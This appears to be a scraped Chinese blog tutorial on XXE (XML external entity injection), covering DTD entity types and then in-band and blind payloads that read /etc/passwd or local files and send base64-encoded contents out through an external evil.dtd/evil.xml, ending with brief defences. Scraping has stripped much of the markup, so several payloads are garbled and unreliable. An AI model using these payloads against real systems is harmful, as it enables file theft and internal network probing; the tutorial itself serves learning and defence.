码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 【每天学习一点新知识】XXE(XML外部实体注入)从入门到放弃


    目录

    漏洞原理

    什么是 XML?

    什么是DTD-实体?

    內部实体/外部实体

    一个内部实体声明

    一个外部实体声明

    通用实体/参数实体

    通用实体

    参数实体

    目录

    漏洞原理

    什么是 XML?

    什么是DTD-实体?

    內部实体/外部实体

    一个内部实体声明

    一个外部实体声明

    通用实体/参数实体

    通用实体

    参数实体

     补充

    外部文档声明

    内部的DOCTYPE声明

    构造外部实体注入攻击

    如何防御



     

    漏洞原理

    XXE(XML外部实体注入,XML External Entity),在应用程序解析XML输入时,当允许引用外部实体时,可以构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS攻击、执行系统命令等。

    什么是 XML?

    • XML 指可扩展标记语言(EXtensible Markup Language)
    • XML 是一种标记语言,很类似 HTML
    • XML 的设计宗旨是传输数据,而非显示数据
    • XML 标签没有被预定义。您需要自行定义标签。
    • XML 被设计为具有自我描述性。
    • XML 是 W3C 的推荐标准

    XML——XML介绍和基本语法_KLeonard的博客-CSDN博客_xml本文介绍了XML语言的历史,以及它的作用和常见的应用。重点介绍了XML文件的语法规则https://blog.csdn.net/gavin_john/article/details/51511180

    XML文档结构包括XML声明+DTD文档类型定义+文档元素,例如:

    其中是根元素,所有XML文档必须包含一个根元素,根元素是所有其他元素的父元素。 

     基本的XML语法就不过多的描述。主要看一下DTD-实体。

    什么是DTD-实体?

    基本的PAYLOAD结构

    DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。 

    依照我的理解,外部引用就是将规范写在一个单独的dtd文档之中,就是为了多个xml可以调用同一个规范,方便省事,统一管理,和文件包含一个道理

    • 实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
    • 实体引用是对实体的引用。
    • 实体可在内部或外部进行声明。

    內部实体/外部实体

    一个内部实体声明

    语法:

    "实体的值">

    例子:

    DTD 例子:

    1. writer "Bill Gates">
    2. copyright "Copyright W3School.com.cn">

    XML 例子:

    <author>&writer;&copyright;</author>

    注释: 一个实体引用必须包含三个部分: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。 

    一个外部实体声明

    语法:

    SYSTEM "URI/URL">

    例子:

    DTD 例子:

    1. writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
    2. copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">

     XML 例子:

    <author>&writer;&copyright;</author>

    外部实体可支持http、file等协议。不同程序支持的协议不同,如下图:

     一般我们就可以利用file协议读取文件,利用http协议探测内网等等。

    通用实体/参数实体

    通用实体

    用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用,例如:

    1. "1.0"?>
    2. SYSTEM "file:///etc/passwd" >]>
    3. <x>&b;x>

    参数实体

    (1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
    (2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
    (3)和通用实体一样,参数实体也可以外部引用

    1. "1.0"?>
    2. SYSTEM "http://xxx.com/xxe.dtd" >
    3. %d;
    4. ]>
    5. <x>&xxe;x>

     xxe.dtd的内容为

    xxe SYSTEM "file:///etx/passwd" >

     第三行的%d就像在外面引用通用实体一样,将http://xxx.com/xxe.dtd这个文件引入到dtd文件中

     补充

    外部文档声明

    内部的DOCTYPE声明

    构造外部实体注入攻击

    XXE漏洞利用也可看下面这个链接:

    XXE(XML External Entity attack)XML外部实体注入攻击 - FreeBuf网络安全行业门户

    一般xxe利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到payload的执行结果或现象,无回显的情况又称为blind xxe,可以使用外带数据通道提取数据。

    有回显的payload写法:

    1、直接通过DTD外部实体声明。XML内容如下:

    1. "1.0"?>
    2. ANY [
    3. test SYSTEM "file:///etc/passwd">
    4. ]>
    5. <abc>&test;abc>

    2、通过DTD文档引入外部DTD文档,再引入外部实体声明。XML内容如下: 

    1. "1.0"?>
    2. SYSTEM "http://localhost/evil.dtd">
    3. <abc>&b;abc>

    evil.dtd内容:

     SYSTEM "file:///etc/passwd">

    我的理解:先通过外部文档声明把evil.dtd引进来了,这时候看这个evil.dtd,它在里面声明了一个实体b,作用是读取那个/etc/passwd,但是这个时候还没有执行,只有当&b;之后,才是引用了b这个实体,就可以利用file协议读取passwd(之前的每一步就像先把需要用到的参数先引入进来,就跟python的import差不多)

    3、通过DTD内部实体声明引入外部实体声明。XML内容如下:

    1. "1.0"?>
    2. SYSTEM "http://localhost/evil.dtd">
    3. %d;
    4. ]>
    5. <abc>&b;abc>

    evil.dtd内容:

    SYSTEM "file:///etc/passwd">

    无回显的payload写法:

    1、第一种无回显示payload写法:

    1. "1.0"?>
    2. file SYSTEM "file:///c://test/1.txt">
    3. dtd SYSTEM "http://localhost/evil.xml">
    4. %dtd; %all;
    5. ]>
    6. <abc>&send;abc>

    其中evil.xml文件内容为

    all "">

    调用过程为:参数实体dtd调用外部实体evil.xml,然后又调用参数实体all,接着调用实体send。

    2、第二种无回显payload写法:

    1. "1.0"?>
    2. file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
    3. dtd SYSTEM "http://localhost/evil.xml">
    4. %dtd;
    5. %send;
    6. ]>
    7. <abc>abc>

    其中evil.xml文件内容为:

    payload ""> %payload;

    调用过程和第一种方法类似,但最里层的嵌套里%要进行实体编码成%。无报错需要访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。

    这里注意参数实体引用%file;必须放在外部文件里,因为根据这条 规则 。在内部DTD里,参数实体引用只能和元素同级而不能直接出现在元素声明内部,否则解析器会报错: PEReferences forbidden in internal subset。这里的        internal subset指的是中括号[]内部的一系列元素声明,PEReferences 指的应该是参数实体引用 Parameter-Entity Reference 。

    一般都使用第二种方法,因为当文件中含有中文字符或<字符,会导致不能解析。

    如何防御

    1. 配置XML处理器使用禁用DTD
    2. 禁止外部实体解析
    3. 通过黑名单过滤用户提交的XML数据
  • 相关阅读:
    TensorFlow新文档发布:新增CLP、DTensor...最先进的模型已就绪
    【C++】构造函数和析构函数第一部分(构造函数和析构函数的作用)--- 2023.9.25
    Vue中如何进行瀑布流布局与图片加载优化
    JavaScript简称“JS”简单介绍
    Java处理视频文件,生成打标视频
    WPF中在MVVM模式下实现导航功能
    Knife4j使用教程(五)-- 上传gitee,由Maven管理的SpringBoot项目
    Redis的发布订阅在SpringMVC(或xml配置)项目中使用(注意版本兼容问题)
    网络会议室解决方案可以根据项目需求量身定制
    【2024最新华为OD-C/D卷试题汇总】[支持在线评测] 游乐园门票 (200分) - 三语言AC题解(Python/Java/Cpp)
  • 原文地址:https://blog.csdn.net/m0_51683653/article/details/127588896
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号